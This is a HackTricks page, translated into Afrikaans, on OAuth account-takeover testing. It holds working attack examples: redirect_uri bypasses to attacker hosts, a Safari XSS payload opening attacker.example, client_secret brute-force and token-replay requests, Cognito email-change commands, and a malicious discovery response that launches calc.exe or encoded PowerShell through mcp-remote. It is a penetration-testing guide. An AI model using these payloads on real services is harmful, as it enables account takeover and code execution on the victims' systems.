OAuth na Rekeningoorname

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Basiese Inligting

OAuth bied verskeie weergawes, met grondliggende insigte beskikbaar by OAuth 2.0 documentation. Hierdie bespreking fokus hoofsaaklik op die wyd gebruikte OAuth 2.0 authorization code grant type, wat ’n authorization framework that enables an application to access or perform actions on a user’s account in another application (die authorization server) voorsien.

Oorweeg ’n hipotetiese webwerf https://example.com, ontwerp om al jou sosiale media-plasings te vertoon, insluitend privaat plasings. Hiervoor word OAuth 2.0 gebruik. https://example.com sal jou toestemming vra om toegang tot jou sosiale media-plasings te kry. Gevolglik sal ’n toestemmingskerm op https://socialmedia.com verskyn wat die aangevraagde toestemmings en die ontwikkelaar wat die versoek maak uiteensit. Nadat jy toestemming verleen het, kry https://example.com die vermoë om jou plasings namens jou te toegang.

Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0-raamwerk te begryp:

  • resource owner: Jy, as die gebruiker/entiteit, gee toestemming vir toegang tot jou hulpbron, soos die plasings op jou sosiale media-rekening.
  • resource server: Die bediener wat geverifieerde versoeke hanteer nadat die toepassing namens die resource owner ’n access token verkry het, bv. https://socialmedia.com.
  • client application: Die toepassing wat toestemming vra van die resource owner, soos https://example.com.
  • authorization server: Die bediener wat access tokens uitreik aan die client application ná die suksesvolle verifikasie van die resource owner en verkryging van toestemming, bv. https://socialmedia.com.
  • client_id: ’n openbare, unieke identifiseerder vir die toepassing.
  • client_secret: ’n vertroulike sleutel wat slegs aan die toepassing en die authorization server bekend is, gebruik vir die genereer van access_tokens.
  • response_type: ’n waarde wat die tipe token aandui wat aangevra word, bv. code.
  • scope: Die toegangsvlak wat die client application van die resource owner versoek.
  • redirect_uri: Die URL waarna die gebruiker na toestemming herlei word. Dit moet gewoonlik ooreenstem met die vooraf-geregistreerde redirect-URL.
  • state: ’n parameter om data oor die gebruiker se omleiding na en van die authorization server te behou. Die uniekheid daarvan is krities om as ’n CSRF-beskermingsmeganisme te dien.
  • grant_type: ’n parameter wat die grant type en die tipe token wat teruggegee sal word aandui.
  • code: Die authorization code van die authorization server, gebruik saam met client_id en client_secret deur die client application om ’n access_token te verkry.
  • access_token: Die token wat die client application gebruik vir API-versoeke namens die resource owner.
  • refresh_token: Stel die toepassing in staat om ’n nuwe access_token te kry sonder om die gebruiker weer te vra.

Vloei

Die werklike OAuth-vloei verloop soos volg:

  1. Jy navigeer na https://example.com en klik die “Integreer met Sosiale Media” knoppie.
  2. Die webwerf stuur dan ’n versoek na https://socialmedia.com om jou toestemming te vra dat die toepassing van https://example.com toegang tot jou plasings mag kry. Die versoek is gestruktureer as:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Dan word ’n toestemmingsbladsy aan jou gewys.
  2. Na jou goedkeuring stuur Sosiale Media ’n reaksie na die redirect_uri met die code- en state-parameters:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com gebruik hierdie code, saam met sy client_id en client_secret, om ’n server-side request te maak om namens jou ’n access_token te bekom, wat toegang tot die toestemmings waarvoor jy ingestem het moontlik maak:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Laastens eindig die proses wanneer https://example.com jou access_token gebruik om ’n API-oproep na Social Media te maak om toegang te kry tot

Kwetsbaarhede

Open redirect_uri

Per RFC 6749 §3.1.2, die authorization server moet die browser slegs herlei na pre-registered, exact redirect URIs. Enige swakheid hier stel ’n aanvaller in staat om ’n slagoffer deur ’n kwaadwillige authorization URL te stuur, sodat die IdP die slagoffer se code (en state) regstreeks aan ’n aanvaller-endpoint lewer, wat dit dan kan inruil en tokens kan oes.

Tipiese aanvalsworkflow:

  1. Skep https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback en stuur dit na die slagoffer.
  2. Die slagoffer autentiseer en keur die scopes goed.
  3. Die IdP herlei na attacker.tld/callback?code=<victim-code>&state=... waar die aanvaller die versoek log en die code onmiddellik inruil.

Algemene validasie-foute om te ondersoek:

  • No validation – enige absolute URL word aanvaar, wat tot onmiddellike code-diefstal lei.
  • Weak substring/regex checks on the host – omseil met lookalikes soos evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, of match.com@evil.com.
  • IDN homograph mismatches – validasie gebeur op die punycode-vorm (xn--), maar die browser herlei na die Unicode-domein wat deur die aanvaller beheer word.
  • Arbitrary paths on an allowed host – die wys van redirect_uri na /openredirect?next=https://attacker.tld of enige XSS/user-content endpoint leaks the code either through chained redirects, Referer headers, or injected JavaScript.
  • Directory constraints without normalization – patrone soos /oauth/* kan omseil word met /oauth/../anything.
  • Wildcard subdomains – die aanvaar van *.example.com beteken enige takeover (dangling DNS, S3 bucket, etc.) gee onmiddellik ’n geldige callback.
  • Non-HTTPS callbacks – om http:// URIs toe te laat gee netwerk-aanvallers (Wi‑Fi, corporate proxy) die kans om die code in transito te gryp.

Hersien ook bykomende redirect-styl parameters (client_uri, policy_uri, tos_uri, initiate_login_uri, ens.) en die OpenID discovery-dokument (/.well-known/openid-configuration) vir addisionele endpoints wat dalk dieselfde validasie-foute kan erf.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Om redirect_uri te beperk tot “owned/first-party domains” help nie as enige allowlisted domein attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, ens.) blootstel nie. As die OAuth/federated login flow returns tokens in the URL (query of hash), kan ’n aanvaller:

  1. ’n Legitieme flow begin om ’n pre-token te mint (bv. ’n etoken in ’n multi-step Accounts Center/FXAuth flow).
  2. Die slagoffer ’n authorization URL stuur wat die allowlisted domein as redirect_uri/base_uri stel maar next/pad na ’n aanvaller-beheerde namespace wys (bv. https://apps.facebook.com/<attacker_app>).
  3. Nadat die slagoffer goedgekeur het, herlei die IdP na die aanvaller-beheerde pad met sensitiewe waardes in die URL (token, blob, codes, ens.).
  4. JavaScript op daardie bladsy lees window.location en exfiltreer die waardes ondanks die domein wat as “trusted” aangemerk is.
  5. Replay die vasgevang waardes teen downstream privileged endpoints wat net die redirect-gekonfereerde tokens verwag. Voorbeelde uit die FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS in redirect implementation

Soos genoem in hierdie bug bounty-verslag https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html kan dit moontlik wees dat die redirect URL in die antwoord van die bediener weerspieël word nadat die gebruiker geauthentiseer is, wat vatbaar is vir XSS. Moontlike payload om te toets:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

OAuth callback-foutbladsye: weerspieëlde error_description, trusted-origin phishing, and geënkodeerde state leakage

Sommige OAuth-integrasies gebruik ’n first-party callback page om aanmeldfoute te vertoon nadat die IdP die blaaier terugstuur. Hierdie bladsye is baie waardevol aangesien hulle reeds op ’n vertroude oorsprong loop en dikwels aanvallers-beheerde parameters soos error, error_description, message, description, of state verbruik.

  • Weerspieëlde error_description in HTML sonder streng output-enkoding verander die callback in ’n trusted-origin phishing page. Selfs wanneer <script> gefilter is, kan HTML-invoeging steeds die hele foutbladsy naboots en die slagoffer opdrag gee om deur die aanvaller-gekose aksies uit te voer.
  • WAFs fokus dikwels op algemene handlers soos onload/onerror. Wanneer normale payloads geblokkeer word, probeer blaaier-spesifieke of ongewone events wat verdedigers dalk nie op ’n swartlys sit nie. ’n Praktiese voorbeeld is Safari se onpagereveal, wat kan uitvoer wanneer die kwaadwillige callback-bladsy in Safari getoon word:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
  • Test self-referential payloads: as die ingespatte HTML/JS die selfde callback-URL kan heropen of herlaai, kan jy client-side resource exhaustion, herhaalde popups/tabs, of log flooding op elke render kry.
  • Always decode opaque-looking state values`. Baie implementasies Base64-encodeer JSON of gebruiker-metadata en neem aan dit is “hidden”. Base64 is reversibel, so callback-URLs kan leak PII soos e-posadresse, tenant-identifiers, return paths, of interne workflow-state.
  • Treat URL exposure as part of the bug: enigiets wat in die callback-URL geplaas word kan later in blaaiergeskiedenis, reverse proxies, load balancers, app logs, monitoring tools, skermkiekies, en Referer headers verskyn as die blad derdeparty-bronne laai.

Vinnige kontroles tydens toetsing:

  1. Trigger beide success- en failure OAuth callbacks en vang die volledige URL plus die gerenderde HTML op.
  2. Replay die callback terwyl jy error_description, message, en soortgelyke foutvelde muteer met plain text, HTML, en event-handler payloads.
  3. Decodeer state as Base64/URL-safe Base64 en inspekteer dit vir PII of toepassingsstate wat op die bediener moes gebly het.
  4. Herhaal blaaier-spesifieke payloads in Safari/WebKit wanneer die WAF standaard inline-event XSS probes blokkeer.

CSRF - Improper handling of state parameter

Die state parameter is die Authorization Code flow CSRF token: die client moet ’n cryptographically random value per browser instance genereer, dit op ’n plek stoor wat slegs daardie blaaier kan lees (cookie, local storage, ens.), dit in die authorization request stuur, en enige response verwerp wat nie dieselfde waarde teruggee nie. Wanneer die waarde staties, voorspelbaar, opsioneel, of nie aan die gebruiker se session gebind is nie, kan die aanvaller hul eie OAuth flow voltooi, die finale ?code= request onderskep (sonder om dit te stuur), en later ’n slagoffer-blaaier dwing om daardie request te replay sodat die slagoffer-rekening aan die aanvaller se identity provider-profiel gekoppel word.

Die herhaalpatroon is altyd dieselfde:

  1. Die aanvaller autentiseer by die IdP met hul rekening en onderskep die laaste redirect wat code (en enige state) bevat.
  2. Hulle gooi daardie request weg, behou die URL, en misbruik later enige CSRF-primitive (link, iframe, auto-submitting form) om die slagoffer-blaaier te dwing dit te laai.
  3. As die client nie state afdwing nie, gebruik die toepassing die aanvaller se authorization result en meld die aanvaller by die slagoffer se app-rekening aan.

Praktiese checklist vir state hantering tydens toetse:

  • Missing state entirely – as die parameter nooit verskyn nie, is die hele login CSRFable.
  • state not required – verwyder dit uit die aanvanklike request; as die IdP steeds codes uitreik wat die client aanvaar, is die verdediging opt-in.
  • Returned state not validated – manipuleer die waarde in die response (Burp, MITM proxy). Aanvaar van mismatch waardes beteken die gestoor token word nooit vergelyk nie.
  • Predictable or purely data-driven state – baie apps prop redirect paths of JSON-blobs in state sonder om randomness by te voeg, wat aanvallers toelaat om geldige waardes te raai en flows te replay. Prepend/append altyd sterk entropy voordat jy data encodeer.
  • state fixation – as die app gebruikers toelaat om die state waarde te verskaf (bv. via geskaafde authorization URLs) en dit deur die hele flow herbruik, kan ’n aanvaller ’n bekende waarde insluit en dit oor slagoffers hergebruik.

PKCE kan state aanvul (veral vir public clients) deur die authorization code aan ’n code verifier te bind, maar web clients moet steeds state dop om cross-user CSRF/account-linking bugs te voorkom.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Aanvallers kan vooruitrekenend ’n rekening skep met die slagoffer se e-pos. As die slagoffer later ’n third-party service vir login gebruik, kan die toepassing per ongeluk daardie third-party rekening koppel aan die aanvaller se vooraf-geskepte rekening, wat lei tot ongemagtigde toegang.
  2. Exploiting Lax OAuth Email Verification: Aanvallers kan OAuth-dienste uitbuit wat e-posse nie verifieer nie deur by hul diens te registreer en dan die rekening-e-pos na die slagoffer se e-pos te verander. Hierdie metode dreig soortgelyke ongemagtigde toegang soos die eerste scenario, maar deur ’n ander aanvalsvector.

Disclosure of Secrets

Die client_id is doelbewus publiek, maar die client_secret must never be recoverable by end users. Authorization Code deployments wat die secret in mobile APKs, desktop clients, of single-page apps inbou, gee daardie credential effektief aan enigiemand wat die pakket kan aflaai. Inspekteer publieke clients deur:

  • Die APK/IPA, desktop installer, of Electron app uit te pak en te grep vir client_secret, Base64 blobs wat na JSON decodeer, of hard-coded OAuth endpoints.
  • Gebundelde config-lêers (plist, JSON, XML) of gedecompileerde strings te hersien vir client-credentials.

Sodra die aanvaller die geheim uittrek, hoef hulle net enige slagoffer authorization code (via ’n swak redirect_uri, logs, ens.) te steel om onafhanklik /token te tref en access/refresh tokens te mint sonder die legitieme app. Behandel public/native clients as incapable of holding secrets—hulle moet eerder op PKCE (RFC 7636) staatmaak om besit van ’n per-instance code verifier te bewys in plaas van ’n statiese secret. Tydens toetsing, bevestig of PKCE verpligtend is en of die backend token-uitruilings werklik verwerp wat óf die client_secret of ’n geldige code_verifier weglate.

Client Secret Bruteforce

Jy kan probeer om die client_secret te bruteforce van ’n service provider met die identity provider om rekeninge te probeer steel.
The request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artefakte leaking Code + State

Sodra die client die code and state het, en dit in location.href of document.referrer verskyn en aan derdepartye deurgestuur word, they leak. Twee terugkerende patrone:

  • Classic Referer leak: na die OAuth-redirect sal enige navigasie wat ?code=&state= in die URL behou, dit in die Referer header na CDNs/analytics/ads stuur.
  • Telemetry/analytics confused deputy: sommige SDKs (pixels/JS loggers) reageer op postMessage-events en send the current location.href/referrer to backend APIs using a token supplied in the message`. As jy jou eie token in daardie vloei kan inject (bv. via ’n attacker-controlled postMessage relay), kan jy later die SDK se API-versoekgeskiedenis/logs lees en die slagoffer se OAuth-artefakte wat in daardie versoeke ingebed is, recover.

Access Token Stored in Browser History

Die kernwaarborg van die Authorization Code grant is dat access tokens never reach the resource owner’s browser. Wanneer implementasies tokens client-side leak, raak enige klein fout (XSS, Referer leak, proxy logging) onmiddellik tot rekeningkompromie. Kyk altyd vir:

  • Tokens in URLs – as access_token in die query/fragment verskyn, beland dit in blaaiergeskiedenis, server logs, analytics, en Referer headers na derdepartye.
  • Tokens transiting untrusted middleboxes – tokens wat oor HTTP teruggestuur word of deur debugging/corporate proxies gaan, laat netwerkwaarnemers toe om hulle direk te capture.
  • Tokens stored in JavaScript state – React/Vue stores, globale veranderlikes, of geserialiseerde JSON-blikke blootstel tokens aan elke script op die origin (insluitend XSS payloads of kwaadwillige extensies).
  • Tokens persisted in Web Storage – localStorage/sessionStorage hou tokens lank na logout op gedeelde toestelle en is deur scripts toeganklik.

Enige van hierdie bevindings upgradear gewoonlik andersins “low” bugs (soos ’n CSP bypass of DOM XSS) na volle API takeover omdat die aanvaller eenvoudig die leaked bearer token kan lees en replay.

Everlasting Authorization Code

Authorization codes moet short-lived, single-use, and replay-aware wees. Wanneer jy ’n stroom beoordeel, vang ’n code en:

  • Test the lifetime – RFC 6749 beveel minute aan, nie ure nie. Probeer om die code na 5–10 minute te redeem; as dit nog steeds werk, is die blootstellingsvenster vir enige leaked code buitensporig.
  • Test sequential reuse – stuur dieselfde code twee keer. As die tweede versoek ’n ander token lewer, kan aanvallers sessies eindeloos kloon.
  • Test concurrent redemption/race conditions – vuur twee tokenversoeke parallel (Burp intruder, turbo intruder). Swakker issuers gee soms albei.
  • Observe replay handling – ’n hergebruikpoging moet nie net misluk nie maar ook enige tokens wat reeds van daardie code gemint is, intrek. Anders laat ’n gedetekteerde replay die aanvaller se eerste token aktief.

Die kombinasie van ’n replay-vriendelike code met enige redirect_uri of logging-bug maak volgehoue rekeningtoegang moontlik selfs nadat die slagoffer die regmatige login voltooi het.

Authorization/Refresh Token not bound to client

As jy die authorization code kan kry en dit redeem vir ’n ander client/app, kan jy ander rekeninge compromise. Toets vir swak binding deur:

  • ’n code vir app A te capture en dit na app B’s token endpoint te stuur; as jy steeds ’n token ontvang, is audience binding gebreek.
  • First-party token minting endpoints te probeer wat tot hul eie client IDs beperk hoort te wees; as hulle arbitrêre state/app_id aanvaar terwyl hulle slegs die code valideer, voer jy effektief ’n authorization-code swap uit om hoër-bevoegdhede first-party tokens te mint.
  • Te kyk of client binding nonce/redirect URI mismatch ignoreer. As ’n foutbladsy steeds SDKs laai wat location.href log, kombineer dit met Referer/telemetry leaks om codes te steel en elders te redeem.

Enige endpoint wat code → token omruil, must die uitgereikte client, redirect URI, en nonce verifieer; anders kan ’n gesteelde code van enige app opgradeer na ’n first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Kyk na hierdie pos

AWS Cognito

In hierdie bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ kan jy sien dat die token wat AWS Cognito aan die gebruiker teruggee, dalk enough permissions to overwrite the user data het. Daarom, as jy die user email vir ’n ander user email kan change, mag jy ander rekeninge kan take over.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Misbruik van tokens van ander apps

As mentioned in this writeup, OAuth flows wat verwag om die token (en nie ’n code nie) te ontvang, kan kwesbaar wees as hulle nie kontroleer dat die token aan die app behoort nie.

Dit is omdat ’n attacker ’n application supporting OAuth and login with Facebook (byvoorbeeld) in sy eie toepassing kan skep. Sodra ’n victim met Facebook in die attackers application aanmeld, kan die attacker die OAuth token of the user given to his application kry en dit gebruik om in die victim OAuth application aan te meld met die victim se user token.

Caution

Daarom, as die attacker daarin slaag om die user toegang tot sy eie OAuth application te gee, sal hy die victim se rekening in toepassings wat ’n token verwag en nie kontroleer of die token aan hul app ID gegee is nie, kan oorneem.

Two links & cookie

According to this writeup, dit was moontlik om ’n victim te laat ’n bladsy open met ’n returnUrl wat na die attackers host wys. Hierdie inligting sou stored in a cookie (RU) word en in ’n later step sal die prompt die user vra of hy toegang aan daardie attackers host wil gee.

Om hierdie prompt te omseil, was dit moontlik om ’n tab oop te maak wat die Oauth flow inisieer wat die RU cookie sou stel deur die returnUrl, die tab te sluit voordat die prompt gewys word, en ’n nuwe tab te open sonder daardie waarde. Dan sal die prompt won’t inform about the attackers host, maar die cookie sal na dit gestel wees, sodat die token will be sent to the attackers host in die redirection.

Prompt Interaction Bypass

As explained in this video, sommige OAuth implementasies laat toe om die prompt GET parameter as None (&prompt=none) aan te dui om te verhoed dat gebruikers in die webgevra word om die gegewe toegang te bevestig as hulle reeds by die platform aangemeld is.

response_mode

As explained in this video, dit kan moontlik wees om die parameter response_mode aan te dui om te bepaal waar jy wil hê die code in die finale URL verskaf moet word:

  • response_mode=query -> Die code word verskaf binne ’n GET-parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> Die code word verskaf in die URL-fragment: #code=2397rf3gu93f
  • response_mode=form_post -> Die code word verskaf in ’n POST-form met ’n input genaamd code en die waarde
  • response_mode=web_message -> Die code word gestuur in ’n postMessage: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs is ideale clickjacking-doelwitte: as hulle ge-iframe kan word, kan ’n attacker eie grafika oorlaai, die ware knoppies verberg en users mislei om gevaarlike scopes of account-koppeling te goedkeur. Bou PoCs wat:

  1. Laai die IdP authorization URL binne ’n <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Gebruik absolute positioning/opacity-trompe om fake knoppies te belyn met die wegsteekte Allow/Approve kontroles.
  3. Indien nodig, pre-vul parameters (scopes, redirect URI) sodat die gesteelde approval onmiddellik aan die attacker voordeel gee.

Tydens toetsing, verifieer dat IdP-bladsye óf X-Frame-Options: DENY/SAMEORIGIN óf ’n beperkende Content-Security-Policy: frame-ancestors 'none' uitgee. As geen van beide teenwoordig is nie, demonstreer die risiko met tooling soos NCC Group’s clickjacking PoC generator en neem op hoe maklik ’n victim die attacker’s app magtig. Vir addisionele payload-idees sien Clickjacking.

OAuth ROPC flow - 2 FA bypass

According to this blog post, dit is ’n OAuth flow wat toelaat om in OAuth aan te meld via username en password. As tydens hierdie eenvoudige flow ’n token teruggestuur word wat toegang tot alle aksies wat die user kan uitvoer gee, is dit moontlik om 2FA te omseil deur daardie token te gebruik.

ATO on web page redirecting based on open redirect to referrer

This blogpost beskryf hoe dit moontlik was om ’n open redirect op die waarde van die referrer te misbruik om OAuth na ATO te eskaleer. Die aanval was:

  1. Victim access the attackers web page
  2. Die victim open die kwaadwillige skakel en ’n opener begin die Google OAuth flow met response_type=id_token,code&prompt=none as addisionele parameters en gebruik as referrer the attackers website.
  3. In die opener, nadat die provider die victim gemagtig het, stuur dit hom terug na die waarde van die redirect_uri parameter (victim web) met ’n 30X code wat steeds die attackers website as referer hou.
  4. Die victim website trigger the open redirect based on the referrer en stuur die victim gebruiker na die attackers website, aangesien die respose_type id_token,code was, sal die code na die attacker gestuur word in die fragment van die URL, wat hom toelaat om die account van die user via Google in die victim se site oor te neem.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth dien as ’n minder voor die hand liggende maar kritieke vektor vir sekuriteitskwesbaarhede, veral vir Server-Side Request Forgery (SSRF)-aanvalle. Hierdie endpoint laat OAuth-servers toe om besonderhede oor client-toepassings te ontvang, insluitend sensitiewe URL’s wat uitgebuit kan word.

Key Points:

  • Dynamic Client Registration word dikwels gemap na /register en aanvaar besonderhede soos client_name, client_secret, redirect_uris, en URL’s vir logos of JSON Web Key Sets (JWKs) via POST requests.
  • Hierdie funksie volg spesifikasies in RFC7591 en OpenID Connect Registration 1.0, wat parameters insluit wat moontlik aan SSRF blootgestel kan word.
  • Die registrasieproses kan onbedoeld bedieners aan SSRF blootstel op verskeie maniere:
    • logo_uri: ’n URL vir die client app se logo wat die bediener moontlik sal haal, wat SSRF kan veroorsaak of tot XSS kan lei as die URL verkeerd hanteer word.
    • jwks_uri: ’n URL na die client se JWK-dokument, wat, as dit kwaadwillig saamgestel is, die bediener kan veroorsaak om uitgaande versoeke na ’n attacker-controlled bediener te maak.
    • sector_identifier_uri: Verwys na ’n JSON-array van redirect_uris, wat die bediener moontlik kan haal en sodoende ’n SSRF-geleentheid skep.
    • request_uris: Lys toegelate request URIs vir die client, wat uitgebuit kan word as die bediener hierdie URIs aan die begin van die authorization proses haal.

Exploitation Strategy:

  • SSRF kan geaktiveer word deur ’n nuwe client te registreer met kwaadwillige URL’s in parameters soos logo_uri, jwks_uri, of sector_identifier_uri.
  • Alhoewel direkte uitbuiting via request_uris deur whitelist-beheer gemitigeer kan word, kan die voorsiening van ’n vooraf-geregistreerde, attacker-controlled request_uri SSRF tydens die authorization-fase fasiliteer.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) toon hoe dynamic OAuth discovery becomes an RCE primitive wanneer die client IdP metadata direk na die operating system deurstuur. Die remote MCP server retourneer ’n attacker-controlled authorization_endpoint tydens die discovery exchange (/.well-known/openid-configuration of enige metadata RPC). mcp-remote ≤0.1.15 sou dan die system URL handler (start, open, xdg-open, ens.) met watter string ook al ontvang is, aanroep, sodat enige scheme/path wat deur die OS ondersteun word, lokaal uitgevoer word.

Attack workflow

  1. Point die desktop agent na ’n hostile MCP/OAuth server (npx mcp-remote https://evil). Die agent ontvang 401 plus metadata.
  2. Die server antwoord met JSON soos:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Die kliënt loods die OS-hanteringsprogram vir die gegewe URI. Windows aanvaar payloads soos file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux aanvaar file:///Applications/Calculator.app/... of selfs pasgemaakte skemas soos cmd://bash -lc '<payload>' indien geregistreer.
  2. Aangesien dit gebeur voordat enige gebruikersinteraksie plaasvind, beteken dit dat slegs die konfigurasie van die kliënt om met die aanvaller-bediener te kommunikeer kode-uitvoering tot gevolg het.

Hoe om te toets

  • Rig jou teiken op enige OAuth-ondersteunde desktop/agent wat discovery oor HTTP(S) doen en teruggegewe endpoints plaaslik oopmaak (Electron apps, CLI helpers, thick clients).
  • Onderbreek of host die discovery-antwoord en vervang authorization_endpoint, device_authorization_endpoint, of soortgelyke velde met file://, cmd://, UNC paths, of ander gevaarlike skemas.
  • Waarnemer of die kliënt die skema/gasheer valideer. ’n Gebrek aan validering lei tot onmiddellike uitvoering onder die gebruikerskonteks en bewys die kwessie.
  • Herhaal met verskillende skemas om die volledige aanvalsvlak te karteer (bv., ms-excel:, data:text/html,, custom protocol handlers) en demonstreer kruis-platform bereik.

OAuth-verskaffers Race Conditions

Indien die platform wat jy toets ’n OAuth-verskaffer is lees dit om te toets vir moontlike Race Conditions.

Mutable Claims Attack

In OAuth identifiseer die sub-veld ’n gebruiker eenduidig, maar die formaat wissel per Authorization Server. Om gebruikeridentifikasie te standaardiseer, gebruik sommige kliënte e-posadresse of gebruikersname. Dit is egter riskant omdat:

  • Sommige Authorization Servers verseker nie dat hierdie eienskappe (soos e-pos) onveranderlik bly nie.
  • In sekere implementasies—soos “Login with Microsoft”—vertrou die kliënt op die email-veld, wat deur die gebruiker in Entra ID beheer word en nie geverifieer is nie.
  • ’n Aanvaller kan dit uitbuit deur hul eie Azure AD-organisasie (bv. doyensectestorg) te skep en dit te gebruik om ’n Microsoft login uit te voer.
  • Alhoewel die Object ID (gestoor in sub) onveranderlik en veilig is, kan die afhanklikheid van ’n veranderlike email-veld ’n account takeover moontlik maak (bv., kap ’n rekening soos victim@gmail.com).

Client Confusion Attack

In ’n Client Confusion Attack versuim ’n toepassing wat die OAuth Implicit Flow gebruik om te verifieer dat die finale access token spesifiek gegenereer is vir sy eie Client ID. ’n Aanvaller stel ’n publieke webwerf op wat Google’s OAuth Implicit Flow gebruik, mislei duisende gebruikers om aan te meld en oes sodoende access tokens bedoel vir die aanvaller se webwerf. As daardie gebruikers ook rekeninge op ’n ander kwesbare webwerf het wat nie die token se Client ID valideer nie, kan die aanvaller die geoeste tokens hergebruik om die slagoffers te impersonate en hul accounts te take over.

Scope Upgrade Attack

Die Authorization Code Grant-tipe behels veilige server-tot-server kommunikasie vir die oordrag van gebruikersdata. As die Authorization Server egter implisiet ’n scope-parameter in die Access Token Request vertrou (’n parameter nie in die RFC gedefinieer nie), kan ’n kwaadwillige toepassing die priviliges van ’n authorization code opgradeer deur ’n hoër scope aan te vra. Nadat die Access Token gegenereer is, moet die Resource Server dit verifieer: vir JWT-tokens behels dit die kontrole van die JWT-handtekening en die uittrekking van data soos client_id en scope, terwyl vir ewekansige string-tokens die bediener die Authorization Server moet navraag om die token se besonderhede te kry.

Redirect Scheme Hijacking

In mobiele OAuth-implementasies gebruik apps custom URI schemes om redirects met Authorization Codes te ontvang. Omdat verskeie apps dieselfde skema op ’n toestel kan registreer, word die aanname dat slegs die regmatige kliënt die redirect URI beheer, verbreek. Op Android, byvoorbeeld, word ’n Intent URI soos com.example.app:// oauth gevang op grond van die skema en opsionele filters wat in ’n app se intent-filter gedefinieer is. Aangesien Android se intent-resolusie wyd kan wees—veral as slegs die skema gespesifiseer is—kan ’n aanvaller ’n kwaadwillige app registreer met ’n sorgvuldig opgestelde intent filter om die authorization code te kap. Dit kan ’n account takeover moontlik maak—of deur gebruikersinteraksie (wanneer verskeie apps geskik is om die intent te hanteer) of via bypass techniques wat te spesifieke filters uitbuit, soos uiteengesit deur Ostorlab se assesserings-vloei-diagram.

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks